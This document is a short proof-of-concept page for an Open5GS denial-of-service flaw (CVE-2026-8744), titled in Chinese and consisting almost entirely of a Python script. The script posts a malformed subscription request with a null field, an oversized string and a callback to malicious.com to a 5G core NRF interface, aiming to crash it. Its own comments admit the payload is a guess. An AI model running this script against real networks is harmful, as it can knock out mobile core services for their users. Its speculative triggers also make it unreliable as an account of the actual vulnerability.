CVE-2026-8744 Open5GS拒绝服务漏洞

import requests import json # Target Open5GS NRF SBI Interface # Default NRF port is usually 7777 target_url = "http://<target-ip>:7777/nnrf-nfm/v1/subscription" # Malformed payload designed to trigger ogs_sbi_subscription_data_add vulnerability # The actual payload structure depends on the specific implementation flaw, # but typically involves missing required fields or oversized data. payload = { "nfInstanceId": "exploit-test", "nfType": "AMF", "subscriptionId": None, # Potential null pointer trigger "reqValidityPeriod": "999999999", "reqNotifications": [ { "notificationURI": "http://malicious.com/callback", "notifyCorrelationId": "A" * 10000 # Potential buffer overflow trigger } ] } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"Sending exploit payload to {target_url}...") response = requests.post(target_url, data=json.dumps(payload), headers=headers, timeout=5) print(f"Response Status Code: {response.status_code}") print("If the service becomes unresponsive, the DoS is successful.") except requests.exceptions.RequestException as e: print(f"Request failed (possible DoS occurred): {e}")